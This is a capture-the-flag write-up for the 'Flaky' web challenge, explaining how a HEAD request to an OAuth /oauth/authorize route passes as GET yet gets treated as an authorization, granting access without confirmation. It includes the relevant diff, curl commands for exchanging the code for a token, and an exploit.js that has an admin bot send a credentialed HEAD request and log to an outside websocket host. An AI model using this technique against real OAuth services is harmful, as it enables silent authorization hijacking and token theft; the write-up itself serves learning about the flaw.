Flaky was a web challenge with a pretty interesting attack that I didn’t know about. It deals with how a HEAD request is handled internally and how that can lead to authentication problems.

Flaky #

We used this shiny thing, OAuth, but it seems that not everything works as expected.

Address: https://flaky.chujowyc.tf

The service is available on internal network on address http://localhost:8000.

Author: @enedil

When we first look at the source it is clear that what we are given is an OAuth server. The authentication flow of OAuth takes a while to explain and there are multiple routes. I refered to this stack overflow post to learn about it more in depth. The first thing I did was make a github repo and upload first the original repository and then the challenge repository. This was a pretty good way to easily sort the differences between the two repositories and try and identify the bug. Although there are command line alternatives like diff, I much prefer the visual representation GitHub provides, especially for multiple files. After locating the diffs, the first thing I tried was different authentication methods. For instance, I tried both the implicit and authorization code authentication flow but that wasn’t where the bug was located. After all, this is a visible public repo and there didn’t seem to be any major changes in the specific handling of each authentication flow.

The bug is actually really interesting and Ginkoid found that the bug was actually in how HEAD requests are handled. This blog post is likely the inspiration for the challenge as noted from the flag. Essentially what it describes is an attack when the authorization route is the same for both actually authentication and displaying the authentication page. The details of the attack are in how HEAD requests are handled. As the blogpost describes, they are initially treated as GET requests but don’t send the body back, only the allowed headers. This means the request is still passed to the route which only allows GET requests. In conjunction with this, because the authentication route handles both displaying the page and authentication, just with a different request type, POST vs GET, a bug arrises. In the route, it checks if the method is GET and will display the page, otherwise, it will treat it as an authorization request because it believes the requset is a POST request. This can be abused because the HEAD request matches the route because it is treated as a GET request but also does authorization because it matches request.method != GET. Essentially, by sending a HEAD request to the /oauth/authorize route , if the user is logged in, it will automatically authorize the OAuth application. It is important to note that this is not possible in the actual example repository because it asks for a confirmation parameter which the challenge author removed. Here is the relevant diff in the /oauth/authorize route:

-    if request.form['confirm']:
-        grant_user = user
-    else:
-        grant_user = None
-    return authorization.create_authorization_response(grant_user=grant_user)
+    return authorization.create_authorization_response(grant_user=user)

To exploit this it is really simple.

  1. Create a client with client_uri and redirect_uri to webhook.site, permits grant type of authorization_code, permits response type of code, and has a scope of flag.
  2. On your website, make the admin bot send a HEAD request to http://localhost:8000/oauth/authorize?client_id=${client_id}&response_type=code&scope=flag where client_id is your client_id.
  3. Get the authorization code from webhook.site because the OAuth server had a callback.
  4. Get the token by running this curl command. curl -u ${client_id}:${client_secret} -XPOST https://flaky.chujowyc.tf/oauth/token -F grant_type=authoriz ation_code -F code=${code} where client_id and client_secret are replaced by your client and code is the code on the webhook.site callback.
  5. Get the flag by sending the access_token as a header. curl -X GET https://flaky.chujowyc.tf/api/flag -H 'Authorization: Bearer ${token}' where token is the access_token.

My final exploit.js was bloated due to templated websockets but it looked like this:

const logSocket = new WebSocket('wss://jmy.li:1337');

logSocket.addEventListener('open', _event => {
    doExploit();
});

function log(msg){
    if(logSocket.readyState == WebSocket.OPEN){
        logSocket.send(JSON.stringify(msg));
    }
}

async function doExploit(){

        await fetch('http://localhost:8000/oauth/authorize?client_id=e48BpcGXIzX1u3L03AW2I5ad&response_type=code&scope=flag', {
                method: 'HEAD',
                credentials: 'include',
                mode: 'no-cors'
        });

        log('HEAD request finished');

}

Overall this was a really neat challenge and taught me that HEAD requests are actually just GET requests without the body. I had always assumed they were handled seperately by the router.